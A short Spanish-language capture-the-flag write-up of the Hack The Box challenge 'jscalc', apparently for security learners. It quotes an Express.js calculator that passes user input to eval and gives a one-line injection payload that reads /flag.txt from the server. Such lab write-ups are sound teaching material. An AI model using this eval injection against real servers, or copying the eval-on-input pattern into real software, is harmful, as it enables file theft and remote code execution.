jscalc
1 minuto de lectura
Se nos proporciona este sitio web:

También se nos proporciona el código fuente de la aplicación web, que está hecha con Express JS (Node.js).
Análisis del código fuente
Solo hay una ruta disponible (routes/index.js):
const path = require('path');
const express = require('express');
const router = express.Router();
const Calculator = require('../helpers/calculatorHelper');
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/calculate', (req, res) => {
let { formula } = req.body;
if (formula) {
result = Calculator.calculate(formula);
return res.send(response(result));
}
return res.send(response('Missing parameters'));
})
module.exports = router;
// ocd
Solo llama a Calculator.calculate con los datos que proporcionamos en el cuerpo de la petición:
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
// ocd
Inyección de código
Obsérvese que nuestra formula se inserta directamente en un código JavaScript que se ejecuta con eval. Como resultado, podemos ejecutar código JavaScript arbitrario. Por ejemplo, podemos abrir /flag.txt e imprimir su contenido:
require('fs').readFileSync('/flag.txt').toString()
Flag
Al ejecutar el payload anterior obtendremos la flag:

HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}